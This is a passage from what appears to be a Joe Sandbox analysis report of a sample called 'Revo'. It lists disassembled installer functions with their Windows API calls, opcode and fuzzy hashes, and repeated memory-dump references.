Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: cfc89692b4771faa31f3440cbcbb3328f2b21d62788620711c29387ee39994bc
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: 94E0BFB2010109BEEF095F50EC0AD7F371DE708210F11452EF946D5051E6B5A9309674

Function 00406244 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00008001,00000000,00000000,00000000,00000000,00420DE6,0041E6F0,0040359E,0041E6F0,00420DE6,004266F0,00004000,?,00000000,004033C8,00000004), ref: 00406258

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 50ccb5e768420c5b79bdfebb9096a84dabe54a6ff5c0a4120d9a71b85527c923
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: FDE08C3221821AABCF10BE608C00EEB3B6CEB017A0F02447AFD56E3050D231E83097A8

Function 00406215 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00008001,00000000,00000000,00000000,00000000,004266F0,0041E6F0,0040361A,00008001,00008001,0040351E,004266F0,00004000,?,00000000,004033C8), ref: 00406229

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: fbac330590941eb325162a4ee9bfa4b3c7313c609e27a1dd4f64d068a4d06545
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 8FE08632110129ABCF106E549C00EEB375CEF05350F014876F951E3040D730E83187A5

Function 00405D02 Relevance: 1.5, APIs: 1, Instructions: 21windowCOMMON

Download Yara Rule

APIs

MessageBoxIndirectW.USER32(0040A3E0), ref: 00405D5D

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: IndirectMessage
String ID:
API String ID: 1874166685-0
Opcode ID: e599ad68c8be2b87716b93389efebd5836f5a776e8aa86078d111b59df2cb3f7
Instruction ID: 054c65bb711e663e566a4fe45ca9fd0f36251d7a25d2d2c6c9ec5f98a3fa3aea
Opcode Fuzzy Hash: e599ad68c8be2b87716b93389efebd5836f5a776e8aa86078d111b59df2cb3f7
Instruction Fuzzy Hash: 3EF0F8316103048BC754CF58EAA872637E0E745700F10813FE881A23F0E7B84491CF4E

Function 0040650F Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,0040659D,?,?,?,?,Remove folder: ,?,00000000), ref: 00406533

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: f918e5a98cb24a054262289ed7dc727aaea68e18f53d3a7cb50250e03803467c
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 49D0127200020DBBDF119E90AD01FAB3B1DEB08750F014826FE06A4090D775D530A759

Function 00404621 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32(?,?,00000000), ref: 0040463B

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 9f5f9317995870dd68fcf34551989b3f9c33a874f6e62bdf9e4bbf2fb329bfe5
Instruction ID: 40b0c8aab23b9b46c3ec191ca1ef6f3d1e6ea20de3ce9ad326d3c9787e78ebc3
Opcode Fuzzy Hash: 9f5f9317995870dd68fcf34551989b3f9c33a874f6e62bdf9e4bbf2fb329bfe5
Instruction Fuzzy Hash: 36C04C75548300BFE641A759CC42F1FB799EF94355F40C92EB15DA11D1C67588209A2A

Function 0040466D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040467F

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6e1b277ce2e60e4bca7100d33b085465e2d15658cc9e03b99e7eec8e5e984b4d
Instruction ID: af208d489c9886f4e313255891423178c9fbc2f2764a4643b28e90c636558d3c
Opcode Fuzzy Hash: 6e1b277ce2e60e4bca7100d33b085465e2d15658cc9e03b99e7eec8e5e984b4d
Instruction Fuzzy Hash: 56C04C716402007ADA119B509E49F0777A857D0750F154A79B641E50E0E7B5E450D61D

Function 00404656 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404481), ref: 00404664

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f17b044b61b457f087bfeb3d17745763a09fbd5f12d8a34ac9dd27775b8272a2
Instruction ID: 10eff6f21afbf1ef2b68fd6575b90ea2c3c46436311cc0867b5bb07e65eb3fbf
Opcode Fuzzy Hash: f17b044b61b457f087bfeb3d17745763a09fbd5f12d8a34ac9dd27775b8272a2
Instruction Fuzzy Hash: A1B012356C4600BBDE115B40DE49F467F62E7A4B01F008579F380640F0CBF200E0DB19

Function 0040361D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,0040331B,?), ref: 0040362B

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 00404643 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040441A), ref: 0040464D

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c073a5ec0840fd0a4d417e8cf15a40d0e4bc79272bf166bfe9221ef36532abb8
Instruction ID: f5342d9634f29a5dfc1e0db37023d9f0ac9e73469a68d8a9939ce4b2318c467f
Opcode Fuzzy Hash: c073a5ec0840fd0a4d417e8cf15a40d0e4bc79272bf166bfe9221ef36532abb8
Instruction Fuzzy Hash: 28A0017A484900ABCA06AB50EF1A80ABB62FBA5705B518879B285510348B725820FB19

Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405727: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,004030CD,004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Part of subcall function 00405C85: CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
Part of subcall function 00405C85: CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Part of subcall function 00406B41: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406B52
Part of subcall function 00406B41: GetExitCodeProcess.KERNEL32(?,?), ref: 00406B74

Part of subcall function 004065E9: wsprintfW.USER32 ref: 004065F6

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 0ca44847665e9aed309d99185b61354d5aa0b5474cd0cc683bca3159d0948431
Instruction ID: 39264c5466c0a9c1499aa9251a9428ad8f628c8ba18ccf0a3388d06020594a91
Opcode Fuzzy Hash: 0ca44847665e9aed309d99185b61354d5aa0b5474cd0cc683bca3159d0948431
Instruction Fuzzy Hash: ABF0FC31904111DBEB20BBA55AC94AE7260CF00318F10413FE202B21D5CABC4D41A65E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f18e2d7214b30d3dc46271dbcb4a7f92884385a6914c4136972039e1db28dba1
Instruction ID: 59c12c35bbb872f0caeb150da19be0ad997f967f675472e8316fb546946162d5
Opcode Fuzzy Hash: f18e2d7214b30d3dc46271dbcb4a7f92884385a6914c4136972039e1db28dba1
Instruction Fuzzy Hash: DAD05E73A146008BD744EBB8BE8546F73A8EA50319320483BD142E10A1E6B88901461C

Non-executed Functions

Function 0040508E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004050A6
GetDlgItem.USER32(?,00000408), ref: 004050B1
GlobalAlloc.KERNEL32(00000040,?), ref: 004050FB
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00405112
SetWindowLongW.USER32(?,000000FC,0040569B), ref: 0040512B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040513F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405151
SendMessageW.USER32(?,00001109,00000002), ref: 00405167
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405173
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405185
DeleteObject.GDI32(00000000), ref: 00405188
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 004051B3
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 004051BF
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040525A
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040528A

Part of subcall function 00404656: SendMessageW.USER32(00000028,?,00000001,00404481), ref: 00404664

SendMessageW.USER32(?,00001132,00000000,?), ref: 0040529E
GetWindowLongW.USER32(?,000000F0), ref: 004052CC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004052DA
ShowWindow.USER32(?,00000005), ref: 004052EA
SendMessageW.USER32(?,00000419,00000000,?), ref: 004053E5
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040544A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 0040545F
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405483
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004054A3
ImageList_Destroy.COMCTL32(?), ref: 004054B8
GlobalFree.KERNEL32(?), ref: 004054C8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405541
SendMessageW.USER32(?,00001102,?,?), ref: 004055EA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004055F9
InvalidateRect.USER32(?,00000000,00000001), ref: 00405624
ShowWindow.USER32(?,00000000), ref: 00405672
GetDlgItem.USER32(?,000003FE), ref: 0040567D
ShowWindow.USER32(00000000), ref: 00405684

Strings

, xrefs: 0040565C
N, xrefs: 00405323
M, xrefs: 00405242

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 34fa74ef7f2c8ae10774f757d898aea139b191b20b2690d18c4730151a5bece5
Instruction ID: 154044203e87ae86578454b6b14b757097bfc819611b9ce4677548c75e4aac0f
Opcode Fuzzy Hash: 34fa74ef7f2c8ae10774f757d898aea139b191b20b2690d18c4730151a5bece5
Instruction Fuzzy Hash: D8028D70900609AFDB20DFA5CD85AAF7BB5FB45314F10857AF910BA2E1D7B98A41CF18

Function 004047E0 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040487E
GetDlgItem.USER32(?,000003E8), ref: 00404892
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004048AF
GetSysColor.USER32(?), ref: 004048C0
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004048CE
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004048DC
lstrlenW.KERNEL32(?), ref: 004048E1
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004048EE
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404903
GetDlgItem.USER32(?,0000040A), ref: 0040495C
SendMessageW.USER32(00000000), ref: 00404963
GetDlgItem.USER32(?,000003E8), ref: 0040498E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004049D1
LoadCursorW.USER32(00000000,00007F02), ref: 004049DF
SetCursor.USER32(00000000), ref: 004049E2
LoadCursorW.USER32(00000000,00007F00), ref: 004049FB
SetCursor.USER32(00000000), ref: 004049FE
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404A2D
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404A3F

Strings

Remove folder: , xrefs: 004049BD
WG@, xrefs: 004049EA
N, xrefs: 0040497C

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$Remove folder: $WG@
API String ID: 3103080414-2486083310
Opcode ID: b01416c62338905acfc632b3e745d4ba8895ca3ce3da3a804f9e2edfaf49b693
Instruction ID: 519c373e7f185e7fda66e670232f02753279bd673d39c82729c50cf19e81ba39
Opcode Fuzzy Hash: b01416c62338905acfc632b3e745d4ba8895ca3ce3da3a804f9e2edfaf49b693
Instruction Fuzzy Hash: 6461B3B1A40209BFDF10AF60CD85A6A7B79FB84304F00843AFA15B62D0D779A951CF99

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
